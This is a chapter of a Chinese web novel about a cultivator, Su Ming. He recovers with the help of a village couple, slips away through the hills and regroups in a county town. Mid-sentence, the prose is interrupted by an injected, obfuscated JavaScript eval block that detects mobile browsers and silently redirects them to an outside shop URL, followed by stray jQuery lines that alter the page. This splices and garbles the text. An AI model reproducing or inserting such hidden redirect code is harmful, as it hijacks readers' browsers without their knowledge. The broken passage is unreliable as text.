56.短暂平静

作品:《《我在都市送快递成圣》

    苏明醒来时,发现自己趴在一个陌生的房间里。


    身下是硬板床,垫着薄薄的褥子,有股阳光晒过的干燥气味,还混着淡淡的霉味。身上盖着条洗得发白的蓝格子薄被。房间很小,只有一张床,一张掉漆的木桌,一把椅子。墙面斑驳,贴着几张褪色的明星海报。窗户用报纸糊着,透进些微天光,看不出时辰。


    左肩、胸口、后背,到处都在疼,是那种被狠狠揍过之后的、钝重的闷痛。脑袋也昏沉沉的,像灌了铅。他试着动了动手指,还好,能动。又缓缓运转功法,干涸的经脉传来细微的刺痛,丹田里空荡荡的,只有一丝微弱的、带着星辉色泽的灵力在缓慢滋生。


    没死。还活着。在一个看起来像是普通人家的房间里。


    苏明慢慢撑起身体,靠坐在床头。被子滑落,他发现自己上身赤裸,肩膀、胸口、手臂上,都缠着干净的、略显粗糙的白色纱布,有草药的味道透出来。裤子还是自己那条户外裤,但沾满泥污和血迹,已经又脏又破。


    是谁救了他?这里是什么地方?


    他警惕地看向四周。房间门关着,外面隐约有锅碗瓢盆的轻响,还有低低的说话声,是本地口音,听不太清。


    就在这时,门“吱呀”一声被推开了。


    一个头发花白、背微驼的老婆婆端着个热气腾腾的粗瓷碗走了进来。看到苏明醒了,老婆婆浑浊的眼睛里露出一点笑意,用带着浓重乡音的话说:“娃儿,醒啦?正好,把药喝了。”


    她走到床边,把碗递过来。碗里是黑乎乎的药汁,散发着浓烈的苦味。


    苏明看着老婆婆,没接。老婆婆面相慈和,穿着洗得发白的蓝布褂子,手上布满老茧,看起来就是个普通山里老人。但他不敢掉以轻心。


    “大娘,这是哪儿?是您救了我?”苏明开口,声音嘶哑得厉害。


    “这儿是柳树沟,我姓王。昨儿早上,我家老头子去后山砍柴,在沟里看见你,浑身是血,昏在那儿,就把你背回来了。”王婆婆把碗又往前递了递,“快,趁热喝。放心,是治伤的山草药,我采的,好着呢。你流了那么多血,身上伤也多,得赶紧把元气补回来。”


    柳树沟?听起来离□□沟应该不远。苏明心里飞快盘算。这王婆婆看起来不像坏人,也没有修为在身,应该就是普通的山民。他昏迷前确实滚下了山坡,被这家人所救,倒也合理。


    “多谢王婆婆救命之恩。”苏明接过碗,道了谢。药很苦,但他眉头都没皱,几口喝了下去。一股温热的暖流顺着喉咙下去,慢慢扩散到四肢百骸,确实有活血化瘀、补充元气的作用,虽然微弱,但对现在的他来说,聊胜于无。


    “客气啥,碰上了就是缘分。”王婆婆接过空碗,看着苏明苍白的脸,叹口气,“看你年纪轻轻的,怎么伤成这样?在山里遇着野兽了?还是摔的?”


    “是……遇到了野兽,搏斗的时候摔下了山崖。”苏明顺着她的话说,编了个理由。


    “唉,这山里头,是不太平。”王婆婆摇摇头,也没多问,“你好好歇着。我去给你热点粥,受了伤,得吃点软的。”


    王婆婆出去了,轻轻带上门。


    苏明靠在床头,慢慢梳理着情况。□□沟一战,太过凶险。那个“老灰”实力强横,功法诡异,恐怕是“影流会”里的精英。矮胖子的肉身防御也极为棘手。最后自己强行催动法印碎片,虽然暂时逼退了他们,但也耗尽了所有力量,还伤了元气。若非被这户山民所救,恐怕真的凶多吉少。


    “影流会”在□□沟的“交接”任务,被自己破坏了。虽然没看到“货”到底是什么,但肯定很重要。以“影流会”的行事风格,绝对不会善罢甘休。那个“老灰”受了些伤,但应该不致命。他们会不会追查自己的下落?会不会报复这户救了自己的山民?


    想到这里,苏明心头一紧。他挣扎着下床,忍着全身的酸痛,走到窗边,轻轻掀开报纸一角向外看去。


    外面是个不大的农家院子,泥土地面,晒着些干菜。院子用低矮的土墙围着,墙外能看到几棵老柳树,再远处是连绵的山峦。很普通的山村景象,安静,祥和。没有看到任何异常的人或动静。


    但苏明不敢放松。他回到床边坐下,开始全力运转《幽墟镇岳真解》。一丝丝微薄的灵气(山里的灵气比镇上略好)被吸入体内,混合着药力,缓慢修复着身体的创伤。他尤其注意调息丹田,那丝星辉灵力是根基,不能有失。


    胸口的天师法印碎片传来温润的触感,似乎也在默默吸收着灵气,缓慢恢复。左手食指上的“须弥芥子印”冰凉依旧,戒面符文黯淡,但那种心神联系很稳定。


    检查了一下戒指空间,里面的东西都在。《幽墟镇岳真解》卷轴、烈阳丹、细胞活化剂、鬼首牌、符箓、还有食物和水。他想了想,取出一支细胞活化剂,用牙齿咬掉保护套,对着自己大腿外侧,再次注射进去。温和的暖流扩散开来,加速着伤口的愈合和身体的修复。


    做完这些,他又坐回床上,继续调息。现在最重要的是恢复行动力,然后尽快离开,不能连累这户好心的山民。


    过了一会儿,王婆婆端着一碗冒着热气的白粥和一碟咸菜进来了。粥熬得很稠,米香扑鼻。


    “来,趁热吃。”王婆婆把粥放在桌上,又看了看苏明,“你脸色还是不好。得多养几天。”


    “谢谢婆婆。”苏明端起粥,慢慢喝着。热粥下肚,胃里暖和起来,人也精神了些。“婆婆,家里就您和爷爷?”


    “还有个孙女,在县里上中学,住校,周末才回来。”王婆婆说着,脸上露出些慈祥,“老头子去镇上了,卖点山货,顺便抓点药。你安心住着,别担心。”


    苏明点点头,心里却更加不安。人越少,目标越小,但也越容易被“影流会”的人盯上。他必须尽快走。


    喝完粥,他又问王婆婆要了点热水,简单擦洗了一下身体,换了身干净衣服(从戒指里拿的)。王婆婆看着他换下来的、沾满血污的破烂衣服,直摇头,拿去洗了。


    苏明重新躺下,一边调息,一边留心听着外面的动静。一整天,院子里都很安静,只有王婆婆偶尔走动、喂鸡的声音。直到傍晚,才听到院门响,一个洪亮些的老汉声音响起,是王爷爷回来了。


    王爷爷比王婆婆年纪看起来大些,身材干瘦,但很精神,背着一篓子山货,手里还提着个小纸包。他看到苏明醒了,也很高兴,问了同样的问题。苏明又把遇到野兽的说辞重复了一遍。王爷爷也没多疑,只是嘱咐他好好养伤。


    晚上,王婆婆做了简单的饭菜,三人就在堂屋的小方桌上吃了。很简单的家常菜,但苏明吃得很香。席间,王爷爷说起镇上的见闻,物价又涨了,谁家孩子考上大学了,都很平常。苏明静静地听着,偶尔应和两句,心里却在盘算着离开的路线和时间。


    入夜,山里格外寂静。苏明躺在偏房的床上,没有睡。他一边缓慢修炼,恢复灵力,一边将感知提升到极限,注意着院外和远处的动静。


    一夜无事。


    第二天,苏明感觉自己好了不少。伤口在细胞活化剂和自身灵力的修复下,愈合速度远超常人,已经不再流血,只留下些暗红色的痂。内腑的隐痛也减轻了大半。灵力恢复了约莫一成,虽然依旧微弱,但至少有了自保和赶路的能力。


    不能再等了。多待一天,就多一分风险,也多一分连累这户人家的可能。


    中午,吃过王婆婆做的面条,苏明郑重地对两位老人说:“王爷爷,王婆婆,多谢你们救命之恩,收留之情。我的伤好多了,不能再麻烦你们了。我今天下午就走。”


    “走?你这伤还没好利索呢!”王婆婆急了。


    “是啊,年轻人,多养两天,不碍事。”王爷爷也劝。


    “真的好了很多。”苏明站起身,活动了一下手臂,“我还有急事,必须走了。不能再叨扰了。”


    两位老人见他态度坚决,也不好强留。王婆婆又给他装了几个煮熟的鸡蛋,一包烙饼。王爷爷则告诉他出山去镇上的路怎么走。


    苏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414708|199679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明从“须弥芥子印”里取出两千块钱(他特意准备的零钱),塞到王婆婆手里:“婆婆,这点钱您收下,就当是这几天的药钱和饭钱。千万别推辞,不然我心里过意不去。”


    王婆婆推辞不过,只好收下,连连念叨“太多了,太多了”。王爷爷又找了根结实的木棍给他当拐杖。


    下午,苏明告别了两位淳朴善良的山民,拄着木棍,沿着王爷爷指的路,朝着山外走去。


    他没有直接去镇上,而是绕了点路,在山林里穿行,尽量不留下明显的踪迹。同时,他不断用“灵目术”和“敛息术”观察四周,确认没有尾巴。


    一直走到天色擦黑,估计离柳树沟已经挺远了,他才找了处隐蔽的山洞,钻进去休息。生了一小堆火,吃了点干粮,继续打坐调息。


    接下来的两天,他都在山林中穿行,昼伏夜出,小心谨慎。伤势在稳步恢复,灵力也渐渐恢复到三成左右。□□沟一战虽然凶险,但对他掌控法印碎片、运用“镇岳”真意,也有了更深的体会。生死搏杀带来的压力,也在一定程度上促进了修为的巩固。


    第三天傍晚,他终于走出了山区,来到了一个比之前那个小镇稍大些的镇子。他没敢停留,在路边拦了辆过路的货车,给了司机一些钱,搭车到了县城。


    回到之前住过的招待所附近,他没有立刻进去,而是先在周围观察了很久,确认没有异常,才用“周明”的身份证,在另一家更偏僻的小旅馆开了个房间。


    关上门,反锁,布置预警禁制。做完这一切,苏明才真正松了口气,瘫倒在床上。


    总算,暂时安全了。


    他躺在简陋的床上,看着天花板上旋转的吊扇,脑海中回放着□□沟的惊险一幕幕。


    “影流会”……比想象中更难缠。那个“老灰”的“幽冥噬魂指”阴毒狠辣,矮胖子的防御也极为难破。自己这次能逃脱,很大程度上是侥幸,加上法印碎片的出其不意。下次再对上,必须有更充分的准备。


    而且,□□沟的“交接”任务虽然被自己破坏,但“影流会”在西南边境的活动显然很活跃。他们到底想干什么?那些“货”又是什么?边境的尸傀事件,和他们有没有关系?


    线索太多,也太乱。像一团乱麻,找不到头绪。


    苏明知道,自己现在最需要的,是情报。对“影流会”的情报,对当前修行界和世俗界局势的情报。


    他想到了李寰宇。那个神秘的、似乎有官方背景的“有关部门”人员。或许,可以从他那里得到一些信息,也能把自己在□□沟的发现(部分)告诉他,作为交换,也能维持住这条线。


    还有吴清风老爷子,他对古物和修行界掌故了解颇深,或许能知道些关于“幽冥道”和“冥土”的线索。


    至于那个士兵林河……苏明犹豫了一下。军方这条线,水太深,牵扯太大。自己暂时还没有足够的实力和背景去深入接触。而且,林河是否安全回到部队,上报的情况有没有被重视,都是未知数。暂时还是不要主动联系为好。


    理清了思路,苏明坐起身,开始检查自己的状态。


    伤势好了八成,不影响行动。灵力恢复了四成,够用。法印碎片和“须弥芥子印”都处于平稳状态。符箓用掉了一些,需要补充绘制。烈阳丹和细胞活化剂都还剩一支,是保命的东西。


    他决定,在县城再待两天。一是把伤彻底养好,把灵力恢复到七成以上。二是绘制一些新的符箓,尤其是“镇符”和“护身符”。三是通过本地的报纸、电视,还有……网吧,尽量搜集一些关于西南边境、关于异常事件的信息。


    他走到窗边,看着县城渐次亮起的灯火。夜色中的小城,平静,慵懒,仿佛那些深山里的凶险、那些光怪陆离的秘密,都与它无关。


    但苏明知道,这平静之下,暗流从未停止涌动。


    他摸了摸左手食指上的戒指,眼神重新变得沉静而锐利。


    休息,准备,然后……再次出发。


    这一次,他要更主动。